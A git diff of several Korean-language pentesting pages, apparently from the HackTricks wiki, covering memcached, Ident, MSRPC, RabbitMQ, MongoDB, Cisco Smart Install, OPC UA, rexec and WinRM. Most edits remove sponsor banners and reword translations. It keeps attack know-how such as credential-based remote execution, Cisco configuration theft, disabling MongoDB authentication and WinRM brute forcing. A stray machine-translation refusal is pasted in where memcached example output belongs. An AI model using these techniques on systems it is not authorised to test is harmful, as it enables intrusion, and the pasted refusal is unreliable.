[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=1099-pentesting-java-rmi)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우 자동화**를 쉽게 구축하세요.\
오늘 바로 접근하세요:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %}
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,10 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Commands Cheat-Sheet
**From** [**https://lzone.de/cheat-sheet/memcached**](https://lzone.de/cheat-sheet/memcached)
@ -21,7 +17,7 @@
| add | 새 키를 추가합니다 | `add newkey 0 60 5` |
| replace | 기존 키를 덮어씁니다 | `replace key 0 60 5` |
| append | 기존 키에 데이터를 추가합니다 | `append key 0 60 15` |
| prepend | 기존 키에 데이터를 앞에 추가합니다 | `prepend key 0 60 15` |
| prepend | 기존 키에 데이터를 추가합니다 | `prepend key 0 60 15` |
| incr | 주어진 숫자만큼 숫자 키 값을 증가시킵니다 | `incr mykey 2` |
| decr | 주어진 숫자만큼 숫자 키 값을 감소시킵니다 | `decr mykey 5` |
| delete | 기존 키를 삭제합니다 | `delete mykey` |
@ -33,8 +29,8 @@
| | 항목에 대한 정보를 출력합니다 | `stats items` |
| | | `stats detail` |
| | | `stats sizes` |
| | 통계 카운터를 재설정합니다 | `stats reset` |
| lru_crawler metadump | 캐시에 있는 항목(모두)의 메타데이터를 덤프합니다 | `lru_crawler metadump all` |
| | 통계 카운터를 재설정합니다 | `stats reset` |
| lru_crawler metadump | 캐시에 있는 항목(모두)의 메타데이터(대부분)를 덤프합니다 | `lru_crawler metadump all` |
| version | 서버 버전을 출력합니다 | `version` |
| verbosity | 로그 수준을 증가시킵니다 | `verbosity` |
| quit | 세션을 종료합니다 | `quit` |
@ -73,13 +69,13 @@ STAT limit_maxbytes 52428800
STAT threads 1
END
```
#### Memory Statistics <a href="#memory-statistics" id="memory-statistics"></a>
#### 메모리 통계 <a href="#memory-statistics" id="memory-statistics"></a>
현재 메모리 통계를 쿼리할 수 있습니다.
```
stats slabs
```
I'm sorry, but I cannot provide an example output without the specific text you would like translated. Please provide the text you want translated, and I will assist you accordingly.
I'm sorry, but I cannot provide an example output without the specific content you would like translated. Please provide the text you want translated, and I will assist you accordingly.
```
STAT 1:chunk_size 80
STAT 1:chunks_per_page 13107
@ -108,7 +104,7 @@ END
```
stats items
```
키가 몇 개 존재하는지 확인하는 명령.
키가 몇 개 존재하는지 확인하는 명령.
```
stats items
STAT items:1:number 220
@ -118,10 +114,7 @@ STAT items:2:age 1405
[...]
END
```
이것은 적어도 어떤 키가 사용되는지 확인하는 데 도움이 됩니다. 이미 memcache 접근을 수행하는 PHP 스크립트에서 키 이름을 덤프하려면 [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html)에서 PHP 코드를 사용할 수 있습니다.
이것은 적어도 어떤 키가 사용되는지 확인하는 데 도움이 됩니다. memcache 접근을 이미 수행하는 PHP 스크립트에서 키 이름을 덤프하려면 [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html)에서 PHP 코드를 사용할 수 있습니다.
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,18 +2,11 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=113-pentesting-ident) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=113-pentesting-ident" %}
## 기본 정보
**Ident 프로토콜**은 **인터넷**을 통해 **TCP 연결**을 특정 사용자와 연결하는 데 사용됩니다. 원래는 **네트워크 관리** 및 **보안**을 돕기 위해 설계되었으며, 서버가 포트 113에서 클라이언트에게 특정 TCP 연결의 사용자에 대한 정보를 요청하는 방식으로 작동합니다.
**Ident 프로토콜**은 **인터넷**을 통해 **TCP 연결**을 특정 사용자와 연결하는 데 사용됩니다. 원래 **네트워크 관리** 및 **보안**을 지원하기 위해 설계되었으며, 서버가 포트 113에서 클라이언트에게 쿼리하여 특정 TCP 연결의 사용자에 대한 정보를 요청할 수 있도록 작동합니다.
그러나 현대의 개인 정보 보호 문제와 오용 가능성으로 인해 사용이 감소하였으며, 이는 무단 당사자에게 사용자 정보를 우연히 노출할 수 있습니다. 이러한 위험을 완화하기 위해 암호화된 연결 및 엄격한 접근 제어와 같은 강화된 보안 조치를 권장합니다.
그러나 현대의 개인 정보 보호 문제와 오용 가능성으로 인해 사용이 감소하였으며, 이는 무단 당사자에게 사용자 정보를 우연히 노출할 수 있습니다. 이러한 위험을 완화하기 위해 암호화된 연결 및 엄격한 접근 제어와 같은 향상된 보안 조치를 권장합니다.
**기본 포트:** 113
```
@ -69,17 +62,10 @@ ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
- `oident`
## Files
## 파일
identd.conf
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=113-pentesting-ident)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우**를 쉽게 구축하고 **자동화**하세요.\
오늘 바로 접근하세요:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=113-pentesting-ident" %}
## HackTricks 자동 명령
```
Protocol_Name: Ident #Protocol Abbreviation if there is one.

View File

@ -2,21 +2,6 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 참여하세요!
**해킹 통찰력**\
해킹의 스릴과 도전에 대해 깊이 있는 콘텐츠에 참여하세요.
**실시간 해킹 뉴스**\
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계의 최신 정보를 유지하세요.
**최신 발표**\
새로운 버그 바운티와 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
오늘 [**Discord**](https://discord.com/invite/N3FrSbmwdy)에 참여하여 최고의 해커들과 협업을 시작하세요!
## 기본 정보
Microsoft 원격 프로시저 호출(MSRPC) 프로토콜은 클라이언트-서버 모델로, 프로그램이 네트워크의 세부 사항을 이해하지 않고도 다른 컴퓨터에 위치한 프로그램으로부터 서비스를 요청할 수 있게 해줍니다. 이 프로토콜은 처음에 오픈 소스 소프트웨어에서 파생되었으며, 이후 Microsoft에 의해 개발되고 저작권이 부여되었습니다.
@ -33,7 +18,7 @@ RPC 엔드포인트 매퍼는 TCP 및 UDP 포트 135, TCP 139 및 445에서 SMB(
## **노출된 RPC 서비스 식별**
TCP, UDP, HTTP 및 SMB를 통한 RPC 서비스의 노출은 RPC 로케이터 서비스 및 개별 엔드포인트를 쿼리하여 확인할 수 있습니다. rpcdump와 같은 도구는 **IFID** 값으로 표시 고유한 RPC 서비스의 식별을 용이하게 하여 서비스 세부정보 및 통신 바인딩을 드러냅니다:
TCP, UDP, HTTP 및 SMB를 통한 RPC 서비스의 노출은 RPC 로케이터 서비스 및 개별 엔드포인트를 쿼리하여 확인할 수 있습니다. rpcdump와 같은 도구는 **IFID** 값으로 표시되는 고유한 RPC 서비스의 식별을 용이하게 하여 서비스 세부정보 및 통신 바인딩을 드러냅니다:
```
D:\rpctools> rpcdump [-p port] <IP>
**IFID**: 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc version 1.0
@ -80,13 +65,13 @@ rpcdump.py <IP> -p 135
### IP 주소 식별
[https://github.com/mubix/IOXIDResolver](https://github.com/mubix/IOXIDResolver)를 사용하 [Airbus research](https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/)에서 _**ServerAlive2**_ 메서드를 _**IOXIDResolver**_ 인터페이스 내에서 악용할 수 있습니다.
[https://github.com/mubix/IOXIDResolver](https://github.com/mubix/IOXIDResolver)를 사용하 [Airbus research](https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/)에서 _**IOXIDResolver**_ 인터페이스 내의 _**ServerAlive2**_ 메서드를 악용할 수 있습니다.
이 메서드는 HTB 박스 _APT_에서 **IPv6** 주소와 같은 인터페이스 정보를 얻는 데 사용되었습니다. 0xdf APT 작성물은 [여기](https://0xdf.gitlab.io/2021/04/10/htb-apt.html)에서 확인할 수 있으며, _stringbinding_을 사용하는 [Impacket](https://github.com/SecureAuthCorp/impacket/)의 rpcmap.py를 사용하는 대체 방법이 포함되어 있습니다.
### 유효한 자격 증명으로 RCE 실행
유효한 사용자의 자격 증명이 있는 경우 [dcomexec.py](https://github.com/fortra/impacket/blob/master/examples/dcomexec.py)를 사용하여 원격 코드 실행이 가능합니다.
유효한 사용자의 자격 증명이 있는 경우 [dcomexec.py](https://github.com/fortra/impacket/blob/master/examples/dcomexec.py)에서 원격 코드를 실행할 수 있습니다.
**사용 가능한 다양한 객체로 시도하는 것을 잊지 마세요**
@ -98,25 +83,10 @@ rpcdump.py <IP> -p 135
[rpctools](https://resources.oreilly.com/examples/9780596510305/tree/master/tools/rpctools)의 **rpcdump.exe**는 이 포트와 상호작용할 수 있습니다.
## 참고자료
## 참고 문헌
- [https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/](https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/)
- [https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/](https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/)
- [https://0xffsec.com/handbook/services/msrpc/](https://0xffsec.com/handbook/services/msrpc/)
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 참여하세요!
**해킹 통찰력**\
해킹의 스릴과 도전에 대한 내용을 탐구하는 콘텐츠에 참여하세요.
**실시간 해킹 뉴스**\
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계를 최신 상태로 유지하세요.
**최신 발표**\
새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
**오늘 [**Discord**](https://discord.com/invite/N3FrSbmwdy)에서 저희와 함께하고 최고의 해커들과 협력하세요!**
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,12 +2,6 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/i3.png" alt=""><figcaption></figcaption></figure>
**버그 바운티 팁**: **Intigriti**에 **가입하세요**, 해커를 위해 해커가 만든 프리미엄 **버그 바운티 플랫폼**입니다! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 저희와 함께하고 최대 **$100,000**의 보상을 받기 시작하세요!
{% embed url="https://go.intigriti.com/hacktricks" %}
## 기본 정보
RabbitMQ에 대한 자세한 내용은 [**5671,5672 - Pentesting AMQP**](5671-5672-pentesting-amqp.md)에서 확인할 수 있습니다.\
@ -31,7 +25,7 @@ service rabbitmq-server restart
또한 유효한 자격 증명이 있는 경우 `http://localhost:15672/api/connections`의 정보가 흥미로울 수 있습니다.
또한 이 서비스의 API를 사용하여 다음과 같은 요청으로 **큐 안에 데이터를 게시**할 수 있다는 점에 유의하세요:
또한 이 서비스의 API를 사용하여 다음과 같은 요청으로 **큐 안에 데이터를 게시**할 수 있습니다:
```bash
POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
Host: 172.32.56.72:15672
@ -51,10 +45,6 @@ hashcat -m 1420 --hex-salt hash.txt wordlist
- `port:15672 http`
<figure><img src="../images/i3.png" alt=""><figcaption></figcaption></figure>
**버그 바운티 팁**: **가입하세요** **Intigriti**에, 해커를 위해 해커가 만든 프리미엄 **버그 바운티 플랫폼**! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 저희와 함께하고 최대 **$100,000**의 보상을 받기 시작하세요!
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,24 +2,9 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
## 기본 정보
경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 참여하세요!
**Hacking Insights**\
해킹의 스릴과 도전에 대해 깊이 있는 콘텐츠에 참여하세요.
**Real-Time Hack News**\
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계의 최신 정보를 유지하세요.
**Latest Announcements**\
새로운 버그 바운티와 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
오늘 [**Discord**](https://discord.com/invite/N3FrSbmwdy)에서 저희와 함께하고 최고의 해커들과 협업을 시작하세요!
## Basic Information
**MongoDB**는 다양한 형태의 데이터를 처리하기 위해 **문서 지향 데이터베이스 모델**을 사용하는 **오픈 소스** 데이터베이스 관리 시스템입니다. 비정형 또는 반정형 데이터를 관리하기 위해 유연성과 확장성을 제공하며, 빅 데이터 분석 및 콘텐츠 관리와 같은 애플리케이션에서 사용됩니다. **기본 포트:** 27017, 27018
**MongoDB**는 다양한 형태의 데이터를 처리하기 위해 **문서 지향 데이터베이스 모델**을 사용하는 **오픈 소스** 데이터베이스 관리 시스템입니다. 비정형 또는 반정형 데이터를 관리하기 위한 유연성과 확장성을 제공하며, 빅 데이터 분석 및 콘텐츠 관리와 같은 애플리케이션에서 사용됩니다. **기본 포트:** 27017, 27018
```
PORT STATE SERVICE VERSION
27017/tcp open mongodb MongoDB 2.6.9 2.6.9
@ -97,27 +82,12 @@ Mongo Object ID는 **12바이트 16진수** 문자열입니다:
위 요소 중 머신 식별자는 데이터베이스가 동일한 물리적/가상 머신에서 실행되는 한 동일하게 유지됩니다. 프로세스 ID는 MongoDB 프로세스가 재시작될 때만 변경됩니다. 타임스탬프는 매초 업데이트됩니다. 카운터와 타임스탬프 값을 단순히 증가시켜 Object ID를 추측하는 데 유일한 도전 과제는 Mongo DB가 Object ID를 생성하고 시스템 수준에서 Object ID를 할당한다는 사실입니다.
도구 [https://github.com/andresriancho/mongo-objectid-predict](https://github.com/andresriancho/mongo-objectid-predict)는 시작 Object ID(계정을 생성하고 시작 ID를 얻을 수 있음)를 제공하면, 다음 객체에 할당될 수 있는 약 1000개의 가능한 Object ID를 반환하므로 이를 브루트포스하면 됩니다.
도구 [https://github.com/andresriancho/mongo-objectid-predict](https://github.com/andresriancho/mongo-objectid-predict)는 시작 Object ID를 주면 (계정을 생성하고 시작 ID를 얻을 수 있습니다), 다음 객체에 할당될 수 있는 약 1000개의 가능한 Object ID를 반환하므로 이를 브루트포스하면 됩니다.
## 게시물
루트 권한이 있는 경우 **mongodb.conf** 파일을 **수정**하여 자격 증명이 필요 없도록 할 수 있습니다 (_noauth = true_) **자격 증명 없이 로그인**할 수 있습니다.
루트 권한이 있는 경우 **mongodb.conf** 파일을 **수정**하여 자격 증명이 필요 없도록 할 수 있습니다 (_noauth = true_) 그리고 **자격 증명 없이 로그인**할 수 있습니다.
---
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 참여하세요!
**해킹 통찰력**\
해킹의 스릴과 도전에 대해 깊이 있는 콘텐츠에 참여하세요.
**실시간 해킹 뉴스**\
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계의 최신 정보를 유지하세요.
**최신 공지사항**\
새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
**오늘 [**Discord**](https://discord.com/invite/N3FrSbmwdy)에서 저희와 함께하고 최고의 해커들과 협업을 시작하세요!**
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,13 +2,10 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## 기본 정보
**Cisco Smart Install** 새로운 Cisco 하드웨어의 초기 구성 및 운영 체제 이미지를 로드하는 과정을 자동화하도록 설계된 Cisco입니다. **기본적으로 Cisco Smart Install은 Cisco 하드웨어에서 활성화되어 있으며, 전송 계층 프로토콜인 TCP를 사용하고 포트 번호는 4786입니다.**
**Cisco Smart Install** 새로운 Cisco 하드웨어의 초기 구성 및 운영 체제 이미지를 로드하는 과정을 자동화하도록 Cisco에서 설계한 것입니다. **기본적으로 Cisco Smart Install은 Cisco 하드웨어에서 활성화되어 있으며, 전송 계층 프로토콜인 TCP를 사용하고 포트 번호는 4786입니다.**
**기본 포트:** 4786
```
@ -25,7 +22,7 @@ PORT STATE SERVICE
- RCE 호출
- 네트워크 장비의 구성 도용.
**이** [**SIET**](https://github.com/frostbits-security/SIET) **(스마트 설치 악용 도구)**는 이 취약점을 악용하기 위해 개발되었으며, Cisco Smart Install을 악용할 수 있게 해줍니다. 이 기사에서는 합법적인 네트워크 하드웨어 구성 파일을 읽는 방법을 보여드리겠습니다. 구성 유출은 네트워크의 고유한 기능에 대해 알게 되므로 펜테스터에게 가치가 있을 수 있습니다. 이는 삶을 더 쉽게 만들고 공격을 위한 새로운 벡터를 찾을 수 있게 해줍니다.
**이** [**SIET**](https://github.com/frostbits-security/SIET) **(스마트 설치 악용 도구)**는 이 취약점을 악용하기 위해 개발되었으며, Cisco Smart Install을 악용할 수 있게 해줍니다. 이 기사에서는 합법적인 네트워크 하드웨어 구성 파일을 읽는 방법을 보여드리겠습니다. 구성 유출은 네트워크의 고유한 기능에 대해 알게 되므로 펜테스터에게 가치가 있을 수 있습니다. 이는 삶을 더 쉽게 만들고 공격을 위한 새로운 벡터를 찾을 수 있게 니다.
**대상 장치는 “실시간” Cisco Catalyst 2960 스위치입니다. 가상 이미지는 Cisco Smart Install이 없으므로 실제 하드웨어에서만 연습할 수 있습니다.**
@ -35,12 +32,9 @@ PORT STATE SERVICE
```
<figure><img src="../images/image (773).png" alt=""><figcaption></figcaption></figure>
스위치 구성 **10.10.100.10** **tftp/** 폴더에 있습니다.
스위치 구성 **10.10.100.10** **tftp/** 폴더에 있습니다.
<figure><img src="../images/image (1116).png" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,19 +2,11 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하여 귀하의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## 기본 정보
**OPC UA**는 **Open Platform Communications Unified Access**의 약자로, 제조, 에너지, 항공 우주 및 방위와 같은 다양한 산업에서 데이터 교환 및 장비 제어에 사용되는 중요한 오픈 소스 프로토콜입니다. 이 프로토콜은 특히 PLC와 함께 다양한 공급업체의 장비가 통신할 수 있도록 독특하게 설계되었습니다.
**OPC UA**는 **Open Platform Communications Unified Access**의 약자로, 제조, 에너지, 항공우주 및 방위와 같은 다양한 산업에서 데이터 교환 및 장비 제어에 사용되는 중요한 오픈 소스 프로토콜입니다. 이 프로토콜은 특히 PLC와 함께 다양한 공급업체의 장비가 통신할 수 있도록 독특하게 설계되었습니다.
구성은 강력한 보안 조치를 허용하지만, 종종 구형 장치와의 호환성을 위해 이러한 조치가 약화되어 시스템이 위험에 노출니다. 또한, 네트워크 스캐너가 비표준 포트에 있을 경우 OPC UA 서비스를 감지하지 못할 수 있어 찾기가 어려울 수 있습니다.
구성은 강력한 보안 조치를 허용하지만, 종종 구형 장치와의 호환성을 위해 이러한 조치가 약화되어 시스템이 위험에 노출될 수 있습니다. 또한, 네트워크 스캐너가 비표준 포트에 있을 경우 OPC UA 서비스를 감지하지 못할 수 있어 찾기가 어려울 수 있습니다.
**기본 포트:** 4840
```text
@ -23,7 +15,7 @@ PORT STATE SERVICE REASON
```
## Pentesting OPC UA
OPC UA
OPC UA 서버의 보안 문제를 드러내기 위해 [OpalOPC](https://opalopc.com/)로 스캔하십시오.
```bash
opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
```
@ -37,16 +29,9 @@ opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
- `port:4840`
## 참고 문헌
## 참고문헌
- [https://opalopc.com/how-to-hack-opc-ua/](https://opalopc.com/how-to-hack-opc-ua/)
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
**실제 비즈니스에 영향을 미치는 중요한 악용 가능한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,13 +2,6 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
**실제 비즈니스에 영향을 미치는 중요한, 악용 가능한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## 기본 정보
@ -19,14 +12,7 @@
PORT STATE SERVICE
512/tcp open exec
```
### [**Brute-force**](../generic-hacking/brute-force.md#rexec)
### [**브루트 포스**](../generic-hacking/brute-force.md#rexec)
<figure><img src="../images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,21 +2,6 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 참여하세요!
**해킹 통찰력**\
해킹의 스릴과 도전에 대해 깊이 있는 콘텐츠에 참여하세요.
**실시간 해킹 뉴스**\
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계의 최신 정보를 유지하세요.
**최신 발표**\
새로운 버그 바운티와 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
오늘 [**Discord**](https://discord.com/invite/N3FrSbmwdy)에서 저희와 함께하고 최고의 해커들과 협업을 시작하세요!
## WinRM
[Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>)는 **Microsoft**에서 강조하는 **Windows 시스템의 원격 관리**를 HTTP(S)를 통해 가능하게 하는 **프로토콜**입니다. 이 과정에서 SOAP를 활용합니다. 본질적으로 WMI에 의해 구동되며, WMI 작업을 위한 HTTP 기반 인터페이스로 나타납니다.
@ -26,11 +11,11 @@
- **5985/tcp (HTTP)**
- **5986/tcp (HTTPS)**
위 목록에서 열린 포트는 WinRM이 설정되었음을 나타내며, 원격 세션을 시작할 수 있는 시도를 허용합니다.
위 목록에서 열린 포트는 WinRM이 설정되었음을 나타내며, 따라서 원격 세션을 시작할 수 있는 시도를 허용합니다.
### **WinRM 세션 시작하기**
WinRM을 위해 PowerShell을 구성하려면 Microsoft의 `Enable-PSRemoting` cmdlet을 사용하여 컴퓨터가 원격 PowerShell 명령을 수락하도록 설정합니다. 권한이 상승된 PowerShell 액세스를 통해 다음 명령을 실행하여 이 기능을 활성화하고 모든 호스트를 신뢰할 수 있도록 지정할 수 있습니다:
PowerShell을 WinRM에 맞게 구성하기 위해 Microsoft의 `Enable-PSRemoting` cmdlet이 사용되며, 이는 컴퓨터가 원격 PowerShell 명령을 수락하도록 설정합니다. 권한이 상승된 PowerShell 접근을 통해 다음 명령을 실행하여 이 기능을 활성화하고 모든 호스트를 신뢰할 수 있는 것으로 지정할 수 있습니다:
```powershell
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
@ -41,11 +26,11 @@ Set-Item wsman:\localhost\client\trustedhosts *
```powershell
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
```
이 방법은 원격으로 WinRM을 설정할 수 있게 하여, 멀리서 Windows 머신을 관리하는 유연성을 향상시킵니다.
이 방법은 원격으로 WinRM을 설정할 수 있게 하여, 원거리에서 Windows 머신을 관리하는 유연성을 향상시킵니다.
### 구성 확인
공격 머신의 설정을 확인하기 위해 `Test-WSMan` 명령을 사용하여 대상이 WinRM이 제대로 구성되었는지 확인합니다. 이 명령을 실행하면 프로토콜 버전 및 wsmid에 대한 세부 정보를 수신하게 되며, 이는 성공적인 구성을 나타냅니다. 아래는 구성된 대상과 구성되지 않은 대상의 예상 출력 예시입니다:
공격 머신의 설정을 확인하기 위해 `Test-WSMan` 명령을 사용하여 대상이 WinRM이 제대로 구성되었는지 확인합니다. 이 명령을 실행하면 프로토콜 버전 및 wsmid에 대한 세부정보를 수신하게 되며, 이는 성공적인 구성을 나타냅니다. 아래는 구성된 대상과 구성되지 않은 대상의 예상 출력 예시입니다:
- **정상적으로** 구성된 대상의 경우, 출력은 다음과 유사하게 나타납니다:
```bash
@ -55,7 +40,7 @@ Test-WSMan <target-ip>
![](<../images/image (582).png>)
- 반대로, WinRM이 구성되지 않은 대상을 위해서는 그러한 세부 정보가 없으며, 이는 적절한 WinRM 설정이 없음을 강조합니다.
- 반대로, WinRM이 **구성되지 않은** 대상을 위해서는 그러한 세부 정보가 없으며, 적절한 WinRM 설정이 없음을 강조합니다.
![](<../images/image (458).png>)
@ -104,13 +89,13 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New
### **WinRM 강제 열기**
PS 원격 및 WinRM을 사용하려면 컴퓨터가 구성되지 않은 경우 다음을 사용하여 활성화할 수 있습니다:
PS Remoting과 WinRM을 사용하려고 하지만 컴퓨터가 구성되지 않은 경우, 다음을 사용하여 활성화할 수 있습니다:
```powershell
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
```
### 세션 저장 및 복원
**작동하지 않습니다** 만약 **언어**가 원격 컴퓨터에서 **제한되어** 있다면.
**작동하지 않습니다** 만약 **언어**가 원격 컴퓨터에서 **제한**되어 있다면.
```powershell
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
@ -137,26 +122,11 @@ Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
```
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
## 리눅스에서 WinRM 연결
경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 참여하세요!
### 무차별 대입 공격
**Hacking Insights**\
해킹의 스릴과 도전에 대해 깊이 있는 콘텐츠에 참여하세요.
**Real-Time Hack News**\
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계의 최신 정보를 유지하세요.
**Latest Announcements**\
새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
오늘 [**Discord**](https://discord.com/invite/N3FrSbmwdy)에서 저희와 함께하고 최고의 해커들과 협업을 시작하세요!
## WinRM connection in linux
### Brute Force
주의하세요, winrm을 무차별 대입하면 사용자가 차단될 수 있습니다.
